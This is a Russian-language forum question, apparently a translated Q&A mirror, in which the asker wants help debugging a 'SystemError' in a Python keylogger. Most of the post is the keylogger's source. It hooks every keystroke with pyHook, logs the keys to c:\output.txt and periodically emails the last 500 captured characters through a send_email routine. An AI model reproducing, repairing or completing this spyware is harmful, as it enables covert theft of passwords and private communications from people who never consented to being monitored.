Как исправить 'SystemError:возвратил результат с ошибкой, установленной в Python - PullRequest
0 голосов
/ 13 апреля 2019

Я пытаюсь создать простой кейлоггер с Python, который пишет в файл '.txt' и затем отправляет его по электронной почте;но когда я нажимаю любую клавишу, она показывает мне эту ошибку:

SystemError: возвратил результат с установленной ошибкой

Кто-нибудь знает, что идет не так в этом коде?

def OnKeyboardEvent(event):

    global count
    count += 1
    #press CTRL+E for exit
    if event.Ascii==5:
        sys.exit(0)

    if event.Ascii !=0 or 8:
        #open output.txt
        f=open('c:\output.txt','r+')
        buffer=f.read()
        f.close()        

        if len(buffer)==1:
            send_email("Arranco...")            

        elif  count == 500: 
            #Send last 500 characters
            capturado = buffer[-500:].replace("\n"," ")
            send_email(capturado)
            count = 0

        #opens output.txt writes and add new key logs
        f=open('c:\output.txt','w')
        keylogs=chr(event.Ascii)

        #if ENTER
        if event.Ascii==13:
            keylogs='\n'

        #if blankspace 
        if event.Ascii==32:
            keylogs=''

        buffer+=keylogs
        f.write(buffer)
        f.close()




# creates object hook manager
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()

...